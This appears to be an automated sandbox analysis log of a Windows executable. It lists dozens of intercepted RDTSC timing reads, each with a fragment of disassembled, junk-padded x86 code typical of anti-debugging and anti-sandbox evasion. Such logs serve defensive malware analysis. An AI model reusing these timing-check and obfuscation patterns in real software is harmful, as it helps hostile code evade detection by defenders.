Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AEC4 second address: B7AEFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81774h 0x00000007 jnc 00007FC3A8C81766h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FC3A8C81775h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AEFB second address: B7AF13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C83B44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AF13 second address: B7AF17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AF17 second address: B7AF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FC3A8C83B44h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AF37 second address: B7AF3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7AF3B second address: B7AF3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7B1F6 second address: B7B243 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC3A8C81766h 0x00000008 jmp 00007FC3A8C8176Ch 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FC3A8C8176Fh 0x00000015 push edi 0x00000016 jo 00007FC3A8C81766h 0x0000001c pop edi 0x0000001d pushad 0x0000001e jmp 00007FC3A8C8176Dh 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 ja 00007FC3A8C81772h 0x0000002c jo 00007FC3A8C81766h 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F02D second address: B7F032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F032 second address: B7F047 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnc 00007FC3A8C81766h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F047 second address: B7F04C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F04C second address: B7F063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 jp 00007FC3A8C81766h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F1A1 second address: B7F1DC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC3A8C83B48h 0x0000000b popad 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 push ecx 0x00000012 jl 00007FC3A8C83B36h 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FC3A8C83B3Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81913 second address: B81917 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B81917 second address: B8192C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C83B3Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B87495 second address: B874E7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC3A8C81766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC3A8C81772h 0x0000000f jmp 00007FC3A8C8176Ch 0x00000014 popad 0x00000015 pushad 0x00000016 jne 00007FC3A8C8176Ch 0x0000001c jp 00007FC3A8C81768h 0x00000022 jmp 00007FC3A8C8176Bh 0x00000027 pushad 0x00000028 jns 00007FC3A8C81766h 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86306 second address: B86312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jbe 00007FC3A8C83B36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B868F2 second address: B868F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86A14 second address: B86A19 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86CCA second address: B86CCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86CCE second address: B86CD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B86E04 second address: B86E08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B71D second address: B8B723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B723 second address: B8B730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007FC3A8C81766h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B730 second address: B8B736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BF54 second address: B8BF7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81770h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007FC3A8C81773h 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8BF7D second address: B8BF88 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ecx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C0EC second address: B8C0F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C272 second address: B8C28E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B48h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C54A second address: B8C580 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FC3A8C81770h 0x0000000a jo 00007FC3A8C81766h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC3A8C81778h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8C6C1 second address: B8C701 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B3Dh 0x00000007 jmp 00007FC3A8C83B48h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FC3A8C83B43h 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B3DF24 second address: B3DF28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B903D0 second address: B903E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B3Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B903E0 second address: B903E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9582F second address: B9584B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B46h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9584B second address: B95874 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC3A8C81781h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B95874 second address: B95878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9472F second address: B94758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 jl 00007FC3A8C81766h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC3A8C81770h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94758 second address: B9475C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56741 second address: B5676C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FC3A8C81766h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f jmp 00007FC3A8C81777h 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56BB3 second address: B56BC8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007FC3A8C83B3Ch 0x0000000f jns 00007FC3A8C83B36h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56C2A second address: B56C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56C34 second address: B56C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jo 00007FC3A8C83B3Ch 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 mov eax, dword ptr [eax] 0x00000018 jbe 00007FC3A8C83B4Fh 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FC3A8C83B3Eh 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56C80 second address: B56CAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81775h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FC3A8C81772h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56CAE second address: B56CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007FC3A8C83B38h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 call 00007FC3A8C83B39h 0x00000026 push ebx 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56CE7 second address: B56CFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC3A8C8176Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56CFD second address: B56D2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C83B3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push esi 0x0000000e pushad 0x0000000f jmp 00007FC3A8C83B3Eh 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop esi 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56D2E second address: B56D45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81773h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56E5A second address: B56E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56E5E second address: B56E84 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC3A8C81766h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC3A8C81775h 0x0000000f popad 0x00000010 push eax 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56E84 second address: B56EAB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 xchg eax, esi 0x00000008 call 00007FC3A8C83B3Dh 0x0000000d jmp 00007FC3A8C83B3Bh 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56F7A second address: B56FB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC3A8C8177Eh 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jmp 00007FC3A8C81771h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56FB7 second address: B56FBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B56FBB second address: B56FD4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC3A8C8176Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B571B3 second address: B571D8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC3A8C83B46h 0x00000008 jmp 00007FC3A8C83B40h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007FC3A8C83B38h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B571D8 second address: B571DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B571DE second address: B571E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B571E2 second address: B57258 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FC3A8C81768h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 call 00007FC3A8C81770h 0x00000028 mov dword ptr [ebp+12475215h], esi 0x0000002e pop edi 0x0000002f push 00000004h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007FC3A8C81768h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b mov edx, ebx 0x0000004d sbb dh, 0000007Bh 0x00000050 nop 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jc 00007FC3A8C81766h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94A14 second address: B94A2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC3A8C83B43h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94D0C second address: B94D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94D10 second address: B94D1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94D1A second address: B94D37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94D37 second address: B94D41 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC3A8C83B3Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94E80 second address: B94E8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B94E8B second address: B94E97 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B95457 second address: B9545B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9938B second address: B993C7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FC3A8C83B3Dh 0x0000000a pop ebx 0x0000000b jmp 00007FC3A8C83B47h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FC3A8C83B3Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B993C7 second address: B993E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC3A8C81773h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B993E0 second address: B993E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17353 second address: B17357 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17357 second address: B17372 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC3A8C83B36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jg 00007FC3A8C83B36h 0x00000015 ja 00007FC3A8C83B36h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B17372 second address: B17391 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC3A8C81779h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9D641 second address: B9D645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9D645 second address: B9D64D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E3CD second address: B9E3DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FC3A8C83B36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E3DD second address: B9E3E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E6EB second address: B9E6EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E6EF second address: B9E6F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9E6F5 second address: B9E704 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC3A8C83B3Ah 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1D8B second address: BA1D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1D91 second address: BA1D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1D99 second address: BA1D9F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1D9F second address: BA1DAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1DAD second address: BA1DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1DB2 second address: BA1DCE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FC3A8C83B3Eh 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007FC3A8C83B36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1DCE second address: BA1DD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0ED61 second address: B0ED70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 jng 00007FC3A8C83B36h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B0ED70 second address: B0ED74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA1559 second address: BA158A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C83B3Eh 0x00000009 jns 00007FC3A8C83B36h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 jno 00007FC3A8C83B42h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA158A second address: BA159A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC3A8C8176Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
